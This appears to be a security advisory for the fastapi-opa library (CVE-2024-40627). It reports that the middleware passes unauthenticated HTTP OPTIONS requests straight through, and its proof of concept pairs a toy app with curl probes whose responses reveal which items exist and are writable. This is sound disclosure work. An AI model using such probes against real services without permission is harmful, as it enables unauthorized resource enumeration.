Summary

HTTP OPTIONS requests are always allowed by OpaMiddleware, even when they lack authentication, and are passed through directly to the application.

The maintainer uncertain whether this should be classed as a "bug" or "security issue" – but is erring on the side of "security issue" as an application could reasonably assume OPA controls apply to all HTTP methods, and it bypasses more sophisticated policies.

Details

OpaMiddleware allows all HTTP OPTIONS requests without evaluating it against any policy:

https://github.com/busykoala/fastapi-opa/blob/6dd6f8c87e908fe080784a74707f016f1422b58a/fastapi_opa/opa/opa_middleware.py#L79-L80

If an application provides different responses to HTTP OPTIONS requests based on an entity existing (such as to indicate whether an entity is writable on a system level), an unauthenticated attacker could discover which entities exist within an application (CWE-204).

PoC

This toy application is based on the behaviour of an app¹ which can use fastapi-opa. The app uses the Allow header of a HTTP OPTIONS to indicate whether an entity is writable on a "system" level, and returns HTTP 404 for unknown entities:

# Run with: fastapi dev opa-poc.py --port 9999
from fastapi import FastAPI, Response, HTTPException
from fastapi_opa import OPAConfig, OPAMiddleware
from fastapi_opa.auth.auth_api_key import APIKeyAuthentication, APIKeyConfig

# OPA doesn't actually need to be running for this example
opa_host = "http://localhost:8181"
api_key_config = APIKeyConfig(
    header_key = 'ApiKey',
    api_key = 'secret-key',
)
api_key_auth = APIKeyAuthentication(api_key_config)
opa_config = OPAConfig(authentication=api_key_auth, opa_host=opa_host)

app = FastAPI()
app.add_middleware(OPAMiddleware, config=opa_config)

WRITABLE_ITEMS = {
    1: True,
    2: False,
}


@app.get("/")
async def root() -> dict:
    return {"msg": "success"}

@app.get("/items/{item_id}")
async def read_item(item_id: int):
    if item_id not in WRITABLE_ITEMS:
        raise HTTPException(status_code=404)
    return {"item_id": item_id}

@app.options("/items/{item_id}")
async def read_item_options(response: Response, item_id: int) -> dict:
    if item_id not in WRITABLE_ITEMS:
        raise HTTPException(status_code=404)

    response.headers["Allow"] = "OPTIONS, GET" + (", POST" if WRITABLE_ITEMS[item_id] else "")
    return {}

As expected, HTTP GET requests fail consistently when unauthenticated, regardless of whether the entity exists, because read_item() is never executed:

$ curl -i 'http://localhost:9999/items/1'
HTTP/1.1 401 Unauthorized
server: uvicorn
content-length: 26
content-type: application/json

{"message":"Unauthorized"}

$ curl -i 'http://localhost:9999/items/3'
HTTP/1.1 401 Unauthorized
server: uvicorn
content-length: 26
content-type: application/json

{"message":"Unauthorized"}

However, HTTP OPTIONS requests are never authenticated by OpaMiddleware, so are passed straight through to read_item_options() and returned to unauthenticated users:

$ curl -i -X OPTIONS 'http://localhost:9999/items/1'
HTTP/1.1 200 OK
server: uvicorn
content-length: 2
content-type: application/json
allow: OPTIONS, GET, POST

{}

$ curl -i -X OPTIONS 'http://localhost:9999/items/2'
HTTP/1.1 200 OK
server: uvicorn
content-length: 2
content-type: application/json
allow: OPTIONS, GET

{}

$ curl -i -X OPTIONS 'http://localhost:9999/items/3'
HTTP/1.1 404 Not Found
server: uvicorn
content-length: 22
content-type: application/json

{"detail":"Not Found"}

Versions

fastapi-opa==2.0.0
fastapi==0.111.0

References

• GHSA-5f5c-8rvc-j8wf
• busykoala/fastapi-opa@9458845
• https://github.com/busykoala/fastapi-opa/blob/6dd6f8c87e908fe080784a74707f016f1422b58a/fastapi_opa/opa/opa_middleware.py#L79-L80
• https://nvd.nist.gov/vuln/detail/CVE-2024-40627
• busykoala/fastapi-opa@9588109